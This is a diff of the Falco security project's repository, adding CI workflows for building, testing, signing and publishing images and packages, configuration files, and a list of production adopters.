+          FALCO_VERSION=$(cat build/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
+          echo "version=${FALCO_VERSION}" >> $GITHUB_OUTPUT

.github/workflows/reusable_publish_docker.yaml

@@ -0,0 +1,174 @@
+# This is a reusable workflow used by master and release CI
+on:
+  workflow_call:
+    inputs:
+      tag:
+        description: The tag to push
+        required: true
+        type: string
+      is_latest:
+        description: Update the latest tag with the new image
+        required: false
+        type: boolean
+        default: false
+      sign:
+        description: Add signature with cosign
+        required: false
+        type: boolean
+        default: false
+
+permissions:
+  contents: read
+
+jobs:
+  publish-docker:
+    runs-on: ubuntu-latest
+
+    permissions:
+      attestations: write
+      id-token: write
+      contents: read
+
+    steps:
+      - name: Set up Docker Buildx
+        uses: docker/setup-buildx-action@f95db51fddba0c2d1ec667646a06c2ce06100226 # v3.0.0
+
+      - name: Download x86_64 images tarballs
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          name: falco-images-x86_64
+          path: /tmp/falco-images
+
+      - name: Download aarch64 images tarballs
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          name: falco-images-aarch64
+          path: /tmp/falco-images
+
+      - name: Load all images
+        run: |
+          for img in /tmp/falco-images/falco-*.tar; do docker load --input $img; done
+
+      - name: Login to Docker Hub
+        uses: docker/login-action@343f7c4344506bcbf9b4de18042ae17996df046d # v3.0.0
+        with:
+          username: ${{ secrets.DOCKERHUB_USER }}
+          password: ${{ secrets.DOCKERHUB_SECRET }}
+
+      - name: Configure AWS credentials
+        uses: aws-actions/configure-aws-credentials@010d0da01d0b5a38af31e9c3470dbfdabdecca3a # v4.0.1
+        with:
+          role-to-assume: "arn:aws:iam::292999226676:role/github_actions-falco-ecr"
+          aws-region: us-east-1 # The region must be set to us-east-1 in order to access ECR Public.
+
+      - name: Login to Amazon ECR
+        id: login-ecr-public
+        uses: aws-actions/amazon-ecr-login@2f9f10ea3fa2eed41ac443fee8bfbd059af2d0a4 # v1.6.0
+        with:
+          registry-type: public
+
+      - name: Setup Crane
+        uses: imjasonh/setup-crane@00c9e93efa4e1138c9a7a5c594acd6c75a2fbf0c # v0.3
+        with:
+          version: v0.15.1
+
+      # We're pushing the arch-specific manifests to Docker Hub so that we'll be able to easily create the index/multiarch later
+      - name: Push arch-specific images to Docker Hub
+        run: |
+          docker push docker.io/falcosecurity/falco:aarch64-${{ inputs.tag }}
+          docker push docker.io/falcosecurity/falco:x86_64-${{ inputs.tag }}
+          docker push docker.io/falcosecurity/falco:aarch64-${{ inputs.tag }}-debian
+          docker push docker.io/falcosecurity/falco:x86_64-${{ inputs.tag }}-debian
+          docker push docker.io/falcosecurity/falco-driver-loader:aarch64-${{ inputs.tag }}
+          docker push docker.io/falcosecurity/falco-driver-loader:x86_64-${{ inputs.tag }}
+          docker push docker.io/falcosecurity/falco-driver-loader:aarch64-${{ inputs.tag }}-buster
+          docker push docker.io/falcosecurity/falco-driver-loader:x86_64-${{ inputs.tag }}-buster
+
+      - name: Create Falco manifest on Docker Hub
+        uses: Noelware/docker-manifest-action@8e337e3cb9656abfcf20146b99706fd88716e942 # v0.4.0
+        with:
+          inputs: docker.io/falcosecurity/falco:${{ inputs.tag }}
+          images: docker.io/falcosecurity/falco:aarch64-${{ inputs.tag }},docker.io/falcosecurity/falco:x86_64-${{ inputs.tag }}
+          push: true
+
+      - name: Create falco-debian manifest on Docker Hub
+        uses: Noelware/docker-manifest-action@8e337e3cb9656abfcf20146b99706fd88716e942 # v0.4.0
+        with:
+          inputs: docker.io/falcosecurity/falco:${{ inputs.tag }}-debian
+          images: docker.io/falcosecurity/falco:aarch64-${{ inputs.tag }}-debian,docker.io/falcosecurity/falco:x86_64-${{ inputs.tag }}-debian
+          push: true
+
+      - name: Create falco-driver-loader manifest on Docker Hub
+        uses: Noelware/docker-manifest-action@8e337e3cb9656abfcf20146b99706fd88716e942 # v0.4.0
+        with:
+          inputs: docker.io/falcosecurity/falco-driver-loader:${{ inputs.tag }}
+          images: docker.io/falcosecurity/falco-driver-loader:aarch64-${{ inputs.tag }},docker.io/falcosecurity/falco-driver-loader:x86_64-${{ inputs.tag }}
+          push: true
+
+      - name: Create falco-driver-loader-buster manifest on Docker Hub
+        uses: Noelware/docker-manifest-action@8e337e3cb9656abfcf20146b99706fd88716e942 # v0.4.0
+        with:
+          inputs: docker.io/falcosecurity/falco-driver-loader:${{ inputs.tag }}-buster
+          images: docker.io/falcosecurity/falco-driver-loader:aarch64-${{ inputs.tag }}-buster,docker.io/falcosecurity/falco-driver-loader:x86_64-${{ inputs.tag }}-buster
+          push: true
+
+      - name: Get Digests for images
+        id: digests
+        # We could probably use the docker-manifest-action output instead of recomputing those with crane
+        run: |
+          echo "falco=$(crane digest docker.io/falcosecurity/falco:${{ inputs.tag }})" >> $GITHUB_OUTPUT
+          echo "falco-debian=$(crane digest docker.io/falcosecurity/falco:${{ inputs.tag }}-debian)" >> $GITHUB_OUTPUT
+          echo "falco-driver-loader=$(crane digest docker.io/falcosecurity/falco-driver-loader:${{ inputs.tag }})" >> $GITHUB_OUTPUT
+          echo "falco-driver-loader-buster=$(crane digest docker.io/falcosecurity/falco-driver-loader:${{ inputs.tag }}-buster)" >> $GITHUB_OUTPUT
+
+      - name: Publish images to ECR
+        run: |
+          crane copy docker.io/falcosecurity/falco:${{ inputs.tag }} public.ecr.aws/falcosecurity/falco:${{ inputs.tag }}
+          crane copy docker.io/falcosecurity/falco:${{ inputs.tag }}-debian public.ecr.aws/falcosecurity/falco:${{ inputs.tag }}-debian
+          crane copy docker.io/falcosecurity/falco-driver-loader:${{ inputs.tag }} public.ecr.aws/falcosecurity/falco-driver-loader:${{ inputs.tag }}
+          crane copy docker.io/falcosecurity/falco-driver-loader:${{ inputs.tag }}-buster public.ecr.aws/falcosecurity/falco-driver-loader:${{ inputs.tag }}-buster
+
+      - name: Tag latest on Docker Hub and ECR
+        if: inputs.is_latest
+        run: |
+          crane tag docker.io/falcosecurity/falco:${{ inputs.tag }} latest
+          crane tag docker.io/falcosecurity/falco:${{ inputs.tag }}-debian latest-debian
+          crane tag docker.io/falcosecurity/falco-driver-loader:${{ inputs.tag }} latest
+          crane tag docker.io/falcosecurity/falco-driver-loader:${{ inputs.tag }}-buster latest-buster
+
+          crane tag public.ecr.aws/falcosecurity/falco:${{ inputs.tag }} latest
+          crane tag public.ecr.aws/falcosecurity/falco:${{ inputs.tag }}-debian latest-debian
+          crane tag public.ecr.aws/falcosecurity/falco-driver-loader:${{ inputs.tag }} latest
+          crane tag public.ecr.aws/falcosecurity/falco-driver-loader:${{ inputs.tag }}-buster latest-buster
+
+      - name: Setup Cosign
+        if: inputs.sign
+        uses: sigstore/cosign-installer@59acb6260d9c0ba8f4a2f9d9b48431a222b68e20 # v3.5.0
+
+      - name: Sign images with cosign
+        if: inputs.sign
+        env:
+          COSIGN_EXPERIMENTAL: "true"
+          COSIGN_YES: "true"
+        run: |
+          cosign sign docker.io/falcosecurity/falco:latest@${{ steps.digests.outputs.falco }}
+          cosign sign docker.io/falcosecurity/falco:latest-debian@${{ steps.digests.outputs.falco-debian }}
+          cosign sign docker.io/falcosecurity/falco-driver-loader:latest@${{ steps.digests.outputs.falco-driver-loader }}
+          cosign sign docker.io/falcosecurity/falco-driver-loader:latest-buster@${{ steps.digests.outputs.falco-driver-loader-buster }}
+
+          cosign sign public.ecr.aws/falcosecurity/falco:latest@${{ steps.digests.outputs.falco }}
+          cosign sign public.ecr.aws/falcosecurity/falco:latest-debian@${{ steps.digests.outputs.falco-debian }}
+          cosign sign public.ecr.aws/falcosecurity/falco-driver-loader:latest@${{ steps.digests.outputs.falco-driver-loader }}
+          cosign sign public.ecr.aws/falcosecurity/falco-driver-loader:latest-buster@${{ steps.digests.outputs.falco-driver-loader-buster }}
+
+      - uses: actions/attest-build-provenance@173725a1209d09b31f9d30a3890cf2757ebbff0d # v1.1.2
+        with:
+          subject-name: docker.io/falcosecurity/falco
+          subject-digest: ${{ steps.digests.outputs.falco }}
+          push-to-registry: true
+
+      - uses: actions/attest-build-provenance@173725a1209d09b31f9d30a3890cf2757ebbff0d # v1.1.2
+        with:
+          subject-name: docker.io/falcosecurity/falco-driver-loader
+          subject-digest: ${{ steps.digests.outputs.falco-driver-loader }}
+          push-to-registry: true

.github/workflows/reusable_publish_packages.yaml

@@ -0,0 +1,141 @@
+# This is a reusable workflow used by master and release CI
+on:
+  workflow_call:
+    inputs:
+      version:
+        description: The Falco version to use when publishing packages
+        required: true
+        type: string
+      bucket_suffix:
+        description: bucket suffix for packages
+        required: false
+        default: ''
+        type: string
+       
+permissions:
+  id-token: write
+  contents: read
+
+env:
+  AWS_S3_REGION: eu-west-1
+  AWS_CLOUDFRONT_DIST_ID: E1CQNPFWRXLGQD
+
+jobs:
+  publish-packages:
+    runs-on: ubuntu-latest
+    container: docker.io/library/fedora:38
+    steps:
+      - name: Checkout
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+    
+      - name: Install dependencies
+        run: |
+          dnf install rpm-sign expect which createrepo gpg python python-pip -y
+          pip install awscli==1.29.60
+
+      # Configure AWS role; see https://github.com/falcosecurity/test-infra/pull/1102
+      # Note: master CI can only push dev packages as we have 2 different roles for master and release.
+      - name: Configure AWS credentials
+        uses: aws-actions/configure-aws-credentials@010d0da01d0b5a38af31e9c3470dbfdabdecca3a # v4.0.1
+        with:
+          role-to-assume: "arn:aws:iam::292999226676:role/github_actions-falco${{ inputs.bucket_suffix }}-s3"
+          aws-region: ${{ env.AWS_S3_REGION }}    
+          
+      - name: Download RPM x86_64
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          name: falco-${{ inputs.version }}-x86_64.rpm
+          path: /tmp/falco-build-rpm
+
+      - name: Download RPM aarch64
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          name: falco-${{ inputs.version }}-aarch64.rpm
+          path: /tmp/falco-build-rpm
+
+      - name: Download binary x86_64
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          name: falco-${{ inputs.version }}-x86_64.tar.gz
+          path: /tmp/falco-build-bin
+
+      - name: Download binary aarch64
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          name: falco-${{ inputs.version }}-aarch64.tar.gz
+          path: /tmp/falco-build-bin
+
+      - name: Download static binary x86_64
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          name: falco-${{ inputs.version }}-static-x86_64.tar.gz
+          path: /tmp/falco-build-bin-static
+
+      - name: Download WASM package
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          name: falco-${{ inputs.version }}-wasm.tar.gz
+          path: /tmp/falco-wasm
+
+      - name: Import gpg key
+        env:
+          GPG_KEY: ${{ secrets.GPG_KEY }}
+        run: printenv GPG_KEY | gpg --import -
+
+      - name: Publish wasm
+        run: |
+          ./scripts/publish-wasm -f /tmp/falco-wasm/falco-${{ inputs.version }}-wasm.tar.gz
+          
+      - name: Publish rpm
+        run: |
+          ./scripts/publish-rpm -f /tmp/falco-build-rpm/falco-${{ inputs.version }}-x86_64.rpm -f /tmp/falco-build-rpm/falco-${{ inputs.version }}-aarch64.rpm -r rpm${{ inputs.bucket_suffix }}
+      
+      - name: Publish bin
+        run: |
+          ./scripts/publish-bin -f /tmp/falco-build-bin/falco-${{ inputs.version }}-x86_64.tar.gz -r bin${{ inputs.bucket_suffix }} -a x86_64
+          ./scripts/publish-bin -f /tmp/falco-build-bin/falco-${{ inputs.version }}-aarch64.tar.gz -r bin${{ inputs.bucket_suffix }} -a aarch64
+          
+      - name: Publish static
+        run: |
+          ./scripts/publish-bin -f /tmp/falco-build-bin-static/falco-${{ inputs.version }}-static-x86_64.tar.gz -r bin${{ inputs.bucket_suffix }} -a x86_64
+
+  publish-packages-deb:
+    runs-on: ubuntu-latest
+    container: docker.io/debian:stable
+    steps:
+      - name: Checkout
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+    
+      - name: Install dependencies
+        run: |
+          apt update -y
+          apt-get install apt-utils bzip2 gpg awscli -y
+      
+      # Configure AWS role; see https://github.com/falcosecurity/test-infra/pull/1102
+      # Note: master CI can only push dev packages as we have 2 different roles for master and release.
+      - name: Configure AWS credentials
+        uses: aws-actions/configure-aws-credentials@010d0da01d0b5a38af31e9c3470dbfdabdecca3a # v4.0.1
+        with:
+          role-to-assume: "arn:aws:iam::292999226676:role/github_actions-falco${{ inputs.bucket_suffix }}-s3"
+          aws-region: ${{ env.AWS_S3_REGION }}     
+      
+      - name: Download deb x86_64
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          name: falco-${{ inputs.version }}-x86_64.deb
+          path: /tmp/falco-build-deb
+
+      - name: Download deb aarch64
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          name: falco-${{ inputs.version }}-aarch64.deb
+          path: /tmp/falco-build-deb
+
+      - name: Import gpg key 
+        env:
+          GPG_KEY: ${{ secrets.GPG_KEY }}
+        run: printenv GPG_KEY | gpg --import -
+          
+      - name: Publish deb
+        run: |
+          ./scripts/publish-deb -f /tmp/falco-build-deb/falco-${{ inputs.version }}-x86_64.deb -f /tmp/falco-build-deb/falco-${{ inputs.version }}-aarch64.deb -r deb${{ inputs.bucket_suffix }}

.github/workflows/reusable_test_packages.yaml

@@ -0,0 +1,68 @@
+# This is a reusable workflow used by master and release CI
+on:
+  workflow_call:
+    inputs:
+      arch:
+        description: x86_64 or aarch64
+        required: true
+        type: string
+      static:
+        description: Falco packages use a static build
+        required: false
+        type: boolean
+        default: false
+      version:
+        description: The Falco version to use when testing packages
+        required: true
+        type: string
+      sanitizers:
+        description: Use sanitizer enabled build
+        required: false
+        default: false
+        type: boolean
+
+permissions:  
+  contents: read
+  
+jobs:
+  test-packages:
+    # See https://github.com/actions/runner/issues/409#issuecomment-1158849936
+    runs-on: ${{ (inputs.arch == 'aarch64' && 'ubuntu-22.04-arm') || 'ubuntu-latest' }}
+    steps:
+      - name: Download binary
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          name: falco-${{ inputs.version }}${{ inputs.static && '-static' || '' }}-${{ inputs.arch }}${{ inputs.sanitizers == true && '-sanitizers' || '' }}.tar.gz
+      
+      - name: Install Falco package
+        run: |
+          ls falco-*.tar.gz
+          tar -xvf $(ls falco-*.tar.gz)
+          cd falco-${{ inputs.version }}-${{ inputs.arch }}
+          sudo cp -r * /
+    
+      - name: Install kernel headers for falco-driver-loader tests
+        run: |
+          sudo apt update -y
+          sudo apt install -y --no-install-recommends linux-headers-$(uname -r)
+
+      # Some builds use sanitizers, we always install support for them so they can run
+      - name: Install sanitizer support
+        if: inputs.sanitizers
+        run: |
+          sudo apt update -y
+          sudo apt install -y libasan5 libubsan1
+          
+      - name: Run tests
+        env:
+          LSAN_OPTIONS: "intercept_tls_get_addr=0"
+        uses: falcosecurity/testing@main
+        with:
+          test-falco: 'true'
+          test-falcoctl: 'true'
+          test-k8saudit: 'true'
+          test-dummy: 'true'
+          static: ${{ inputs.static && 'true' || 'false' }}
+          test-drivers: 'true'
+          show-all: 'true'
+          report-name-suffix: ${{ inputs.static && '-static' || '' }}${{ inputs.sanitizers && '-sanitizers' || '' }}

.github/workflows/scorecard.yaml

@@ -0,0 +1,79 @@
+# This workflow uses actions that are not certified by GitHub. They are provided
+# by a third-party and are governed by separate terms of service, privacy
+# policy, and support documentation.
+
+name: Scorecard supply-chain security
+on:
+  # To guarantee Maintained check is occasionally updated. See
+  # https://github.com/ossf/scorecard/blob/main/docs/checks.md#maintained
+  schedule:
+    # Weekly on Mondays at 00:00.
+    - cron: '0 0 * * 1'
+
+  # The OSSF recommendation encourages to enable branch protection rules trigger
+  # to update the scorecard
+  # (https://github.com/ossf/scorecard/blob/main/docs/checks.md#branch-protection)
+  # but due to our GitHub org management this check is triggered too often and is
+  # therefore disabled.
+  # branch_protection_rule:
+  
+  push:
+    branches: [ "master" ]
+
+# Declare default permissions as read only.
+permissions: read-all
+
+jobs:
+  analysis:
+    name: Scorecard analysis
+    runs-on: ubuntu-latest
+    permissions:
+      # Needed to upload the results to code-scanning dashboard.
+      security-events: write
+      # Needed to publish results and get a badge (see publish_results below).
+      id-token: write
+      # Uncomment the permissions below if installing in a private repository.
+      # contents: read
+      # actions: read
+
+    steps:
+      - name: "Checkout code"
+        uses: actions/checkout@93ea575cb5d8a053eaa0ac8fa3b40d7e05a33cc8 # v3.1.0
+        with:
+          persist-credentials: false
+
+      - name: "Run analysis"
+        uses: ossf/scorecard-action@0864cf19026789058feabb7e87baa5f140aac736 # v2.3.1
+        with:
+          results_file: results.sarif
+          results_format: sarif
+          # (Optional) "write" PAT token. Uncomment the `repo_token` line below if:
+          # - you want to enable the Branch-Protection check on a *public* repository, or
+          # - you are installing Scorecard on a *private* repository
+          # To create the PAT, follow the steps in https://github.com/ossf/scorecard-action#authentication-with-pat.
+          # repo_token: ${{ secrets.SCORECARD_TOKEN }}
+
+          # Public repositories:
+          #   - Publish results to OpenSSF REST API for easy access by consumers
+          #   - Allows the repository to include the Scorecard badge.
+          #   - See https://github.com/ossf/scorecard-action#publishing-results.
+          # For private repositories:
+          #   - `publish_results` will always be set to `false`, regardless
+          #     of the value entered here.
+          publish_results: true
+
+      # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF
+      # format to the repository Actions tab.
+      - name: "Upload artifact"
+        uses: actions/upload-artifact@65c4c4a1ddee5b72f698fdd19549f0f0fb45cf08 # v4.6.0
+        with:
+          name: SARIF file
+          path: results.sarif
+          retention-days: 5
+
+      # Upload the results to GitHub's code scanning dashboard.
+      - name: "Upload to code-scanning"
+        uses: github/codeql-action/upload-sarif@17573ee1cc1b9d061760f3a006fc4aac4f944fd5 # v2.2.4
+        with:
+          sarif_file: results.sarif
+

.github/workflows/staticanalysis.yaml

@@ -0,0 +1,35 @@
+name: StaticAnalysis
+on:
+  pull_request:
+permissions:  
+  contents: read
+
+jobs:
+  staticanalysis:
+    runs-on: ubuntu-22.04
+
+    steps:
+      - name: Checkout ⤵️
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+        with:
+          fetch-depth: 0
+          ref: ${{ github.event.pull_request.head.sha }}
+
+      - name: Install build dependencies ⛓️
+        run: |
+          sudo apt update -y
+          sudo apt install build-essential git cppcheck cmake -y
+
+      - name: Build and run cppcheck 🏎️
+        run: |
+          cmake -B build -S . \
+                -DCMAKE_BUILD_TYPE="release" \
+                -DUSE_BUNDLED_DEPS=On -DUSE_DYNAMIC_LIBELF=Off -DBUILD_WARNINGS_AS_ERRORS=ON -DCREATE_TEST_TARGETS=Off -DBUILD_DRIVER=Off
+          cmake --build build -j4 --target cppcheck
+          cmake --build build -j4 --target cppcheck_htmlreport
+
+      - name: Upload reports ⬆️
+        uses: actions/upload-artifact@65c4c4a1ddee5b72f698fdd19549f0f0fb45cf08 # v4.6.0
+        with:
+          name: static-analysis-reports
+          path: ./build/static-analysis-reports

.gitignore

@@ -2,19 +2,7 @@
 *~
 *.pyc
 
-test/falco_tests.yaml
-test/traces-negative
-test/traces-positive
-test/traces-info
-test/job-results
-test/.phoronix-test-suite
-test/results*.json.*
+.vscode/*
 
-userspace/falco/lua/re.lua
-userspace/falco/lua/lpeg.so
-
-docker/event-generator/event_generator
-docker/event-generator/mysqld
-docker/event-generator/httpd
-docker/event-generator/sha1sum
-docker/event-generator/vipw
+*.idea*
+CMakeUserPresets.json

.gitmodules

@@ -0,0 +1,4 @@
+[submodule "submodules/falcosecurity-rules"]
+	path = submodules/falcosecurity-rules
+	url = https://github.com/falcosecurity/rules.git
+	branch = main

.pre-commit-config.yaml

@@ -0,0 +1,23 @@
+# See https://pre-commit.com for more information
+# See https://pre-commit.com/hooks.html for more hooks
+fail_fast: false
+minimum_pre_commit_version: '0'
+repos:
+- repo: https://github.com/cheshirekow/cmake-format-precommit
+  rev: v0.6.13
+  hooks:
+  - id: cmake-format
+    stages: [commit]
+- repo: https://github.com/pre-commit/mirrors-clang-format
+  rev: v18.1.8
+  hooks:
+  - id: clang-format
+    types_or: [c++, c]
+    stages: [commit]
+- repo: local
+  hooks:
+  - id: dco-hook-local
+    name: DCO hook local
+    entry: ./tools/local_hooks/dco-pre-commit-msg.sh
+    language: script
+    stages: [prepare-commit-msg]

.travis.yml

@@ -1,46 +0,0 @@
-language: c
-env:
-    - BUILD_TYPE=Debug
-    - BUILD_TYPE=Release
-sudo: required
-services:
-    - docker
-before_install:
-    - sudo add-apt-repository -y ppa:ubuntu-toolchain-r/test
-    - sudo apt-get update
-install:
-    - sudo apt-get --force-yes install g++-4.8
-    - sudo apt-get install rpm linux-headers-$(uname -r) libelf-dev
-    - git clone https://github.com/draios/sysdig.git ../sysdig
-    - sudo apt-get install -y python-pip libvirt-dev jq dkms
-    - cd ..
-    - curl -Lo avocado-36.0-tar.gz https://github.com/avocado-framework/avocado/archive/36.0lts.tar.gz
-    - tar -zxvf avocado-36.0-tar.gz
-    - cd avocado-36.0lts
-    - sed -e 's/libvirt-python>=1.2.9/libvirt-python>=1.2.9,<4.1.0/' < requirements.txt  > /tmp/requirements.txt && mv /tmp/requirements.txt ./requirements.txt
-    - sudo -H pip install -r requirements.txt
-    - sudo python setup.py install
-    - cd ../falco
-before_script:
-    - export KERNELDIR=/lib/modules/$(uname -r)/build
-script:
-    - set -e
-    - export CC="gcc-4.8"
-    - export CXX="g++-4.8"
-    - mkdir build
-    - cd build
-    - cmake .. -DCMAKE_BUILD_TYPE=$BUILD_TYPE -DDRAIOS_DEBUG_FLAGS="-D_DEBUG -DNDEBUG"
-    - make VERBOSE=1
-    - make package
-    - cp falco*.deb ../docker/local
-    - cd ../docker/local
-    - docker build -t sysdig/falco:test .
-    - cd ../..
-    - sudo test/run_regression_tests.sh $TRAVIS_BRANCH
-notifications:
-  webhooks:
-    urls:
-#      - https://webhooks.gitter.im/e/fdbc2356fb0ea2f15033
-    on_success: change
-    on_failure: always
-    on_start: never

.yamllint.conf

@@ -0,0 +1,8 @@
+extends: default
+
+rules:
+  indentation: disable
+  document-start: disable
+  comments: disable
+  line-length: disable
+  new-line-at-end-of-file: disable

ADOPTERS.md

@@ -0,0 +1,101 @@
+# Adopters
+
+Known end users with notable contributions to the project include:
+* AWS
+* IBM
+* Red Hat
+
+Falco is being used by numerous other companies, both large and small, to build higher layer products and services. The list includes but is not limited to:
+* Equinix Metal
+* IEEE
+* Lowes
+* Reckrut
+* Yellow Pepper
+* CTx
+* Utikal
+* Discrete Events
+* Agritech Infra
+
+This is a list of production adopters of Falco (in alphabetical order):
+
+* [ASAPP](https://www.asapp.com/) - ASAPP is a pushing the boundaries of fundamental artificial intelligence research. We apply our research into AI-Native® products that make organizations, in the customer experience industry, highly productive, efficient, and effective—by augmenting human activity and automating workflows. We constantly monitor our workloads against different hazards and FALCO helps us extend our threat monitoring boundaries.
+
+* [Booz Allen Hamilton](https://www.boozallen.com/) - BAH leverages Falco as part of their Kubernetes environment to verify that work loads behave as they did in their CD DevSecOps pipelines. BAH offers a solution to internal developers to easily build DevSecOps pipelines for projects. This makes it easy for developers to incorporate Security principles early on in the development cycle. In production, Falco is used to verify that the code the developer ships does not violate any of the production security requirements. BAH [are speaking at Kubecon NA 2019](https://kccncna19.sched.com/event/UaWr/building-reusable-devsecops-pipelines-on-a-secure-kubernetes-platform-steven-terrana-booz-allen-hamilton-michael-ducy-sysdig) on their use of Falco.
+
+* [Coveo](https://www.coveo.com/) - Coveo stitches together content and data, learning from every interaction, to tailor every experience using AI to drive growth, satisfy customers and develop employee proficiency. All Falco events are centralized in our SIEM for analysis. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions with containers and orchestration systems. Falco is giving us a good visibility inside containers and complement other Host and Network Intrusion Detection Systems. In a near future, we expect to deploy serverless functions to take action when Falco identifies patterns worth taking action for.
+
+* [Deckhouse](https://deckhouse.io/) - Deckhouse Platform presents to you the opportunity to create homogeneous Kubernetes clusters anywhere and handles comprehensive, automagical management for them. It supplies all the add-ons you need for auto-scaling, observability, security, and service mesh. Falco is used as a part of the [runtime-audit-engine](https://deckhouse.io/documentation/latest/modules/650-runtime-audit-engine/) module to provide threats detection and enforce security compliance out of the box. By pairing with [shell-operator](https://github.com/flant/shell-operator) Falco can be configured by Kubernetes Custom Resources.
+
+* [Fairwinds](https://fairwinds.com/) - [Fairwinds Insights](https://fairwinds.com/insights), Kubernetes governance software, integrates Falco to offer a single pane of glass view into potential security incidents. Insights adds out-of-the-box integrations and rules filter to reduce alert fatigue and improve security response. The platform adds security prevention, detection, and response capabilities to your existing Kubernetes infrastructure. Security and DevOps teams benefit from a centralized view of container security vulnerability scanning and runtime container security.
+
+* [Frame.io](https://frame.io/) - Frame.io is a cloud-based (SaaS) video review and collaboration platform that enables users to securely upload source media, work-in-progress edits, dailies, and more into private workspaces where they can invite their team and clients to collaborate on projects. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions like Docker and Kubernetes. To get this needed visibility into our system, we rely on Falco. Falco's ability to collect raw system calls such as open, connect, exec, along with their arguments offer key insights on what is happening on the production system and became the foundation of our intrusion detection and alerting system.
+
+* [Giant Swarm](https://www.giantswarm.io/) - Giant Swarm manages Kubernetes clusters and infrastructure for enterprises across multiple cloud providers as well as several flavors of on-premises data centers. Our platform provisions and monitors pure "vanilla" Kubernetes clusters which can be augmented with managed solutions to many common Kubernetes challenges, including security. We use Falco for anomaly detection as part of our collection of entirely open-source tools for securing our own clusters, and offer the same capabilities to our customers as part of our [managed security offering](https://docs.giantswarm.io/app-platform/apps/security/).
+
+* [GitLab](https://about.gitlab.com/direction/defend/container_host_security/) - GitLab is a complete DevOps platform, delivered as a single application, fundamentally changing the way Development, Security, and Ops teams collaborate. GitLab Ultimate provides the single tool teams need to find, triage, and fix vulnerabilities in applications, services, and cloud-native environments enabling them to manage their risk. This provides them with repeatable, defensible processes that automate security and compliance policies. GitLab includes a tight integration with Falco, allowing users to defend their containerized applications from attacks while running in production.
+
+* [gVisor](https://gvisor.dev/) - gVisor secures Kubernetes, containers, and workloads via an alternate execution environment that handles system calls in user space, blocking security issues before they reach the underlying host. gVisor provides defense-in-depth, protection against untrusted code execution, and a secure-by-default Kubernetes experience where containers are a security boundary. Falco can be used with gVisor to detect unusual or suspicious activity using its threat detection engine on top of gVisor runtime execution information.
+
+* [League](https://league.com/ca/) - League provides health benefits management services to help employees understand and get the most from their benefits, and employers to provide effective, efficient plans. Falco is used to monitor our deployed services on Kubernetes, protecting against malicious access to containers which could lead to leaks of PHI or other sensitive data. The Falco alerts are logged in Stackdriver for grouping and further analysis. In the future, we're hoping for integrations with Prometheus and AlertManager as well.
+
+* [Logz.io](https://logz.io/) - Logz.io is a cloud observability platform for modern engineering teams. The Logz.io platform consists of three products — Log Management, Infrastructure Monitoring, and Cloud SIEM — that work together to unify the jobs of monitoring, troubleshooting, and security. We empower engineers to deliver better software by offering the world's most popular open source observability tools — the ELK Stack, Grafana, and Jaeger — in a single, easy to use, and powerful platform purpose-built for monitoring distributed cloud environments. Cloud SIEM supports data from multiple sources, including Falco's alerts, and offers useful rules and dashboards content to visualize and manage incidents across your systems in a unified UI.
+  * https://logz.io/blog/k8s-security-with-falco-and-cloud-siem/
+
+* [MathWorks](https://mathworks.com) - MathWorks develops mathematical computing software for engineers and scientists. MathWorks uses Falco for Kubernetes threat detection, unexpected application behavior, and maps Falco rules to their cloud infrastructure's security kill chain model. MathWorks presented their Falco use case at [KubeCon + CloudNativeCon North America 2020](https://www.youtube.com/watch?v=L-5RYBTV010).
+
+* [NETWAYS Web Services](https://nws.netways.de/en/) - NETWAYS Web Services provides cloud and managed services tailored to their customers needs. From VPCs to managed databases and Kubernetes clusters, NETWAYS Web Services enables their customers to run infrastructure and applications without worries. Falco plays its part for NETWAYS Managed Services to ensure their platform conforms to ISO 27001 at all times and that their clients' workloads behave as expected by detecting anomalies in real-time.
+
+* [Pocteo](https://pocteo.co) - Pocteo helps with Kubernetes adoption in enterprises by providing a variety of services such as training, consulting, auditing and mentoring. We build CI/CD pipelines the GitOps way, as well as design and run k8s clusters. Pocteo uses Falco as a runtime monitoring system to secure clients' workloads against suspicious behavior and ensure k8s pods immutability. We also use Falco to collect, process and act on security events through a response engine and serverless functions.
+
+* [Preferral](https://www.preferral.com) - Preferral is a HIPAA-compliant platform for Referral Management and Online Referral Forms. Preferral streamlines the referral process for patients, specialists and their referral partners. By automating the referral process, referring practices spend less time on the phone, manual efforts are eliminated, and patients get the right care from the right specialist. Preferral leverages Falco to provide a Host Intrusion Detection System to meet their HIPAA compliance requirements.
+  * https://hipaa.preferral.com/01-preferral_hipaa_compliance/
+
+* [Qonto](https://qonto.com) - Qonto is a modern banking for SMEs and freelancers. Qonto provides a fully featured business account with a simplified accounting flow. Falco is used by our SecOps team to detect suspicious behaviors in our clusters.
+
+* [Raft](https://goraft.tech) - Raft is a government contractor that offers cloud-native solutions across many different agencies including DoD (Department of Defense), HHS (Health and Human Services), as well as within CFPB (Consumer Finance Protection Bureau). Raft leverages Falco to detect threats in our client's Kubernetes clusters and as a Host Intrusion Detection System. Raft proudly recommends Falco across all our different projects.
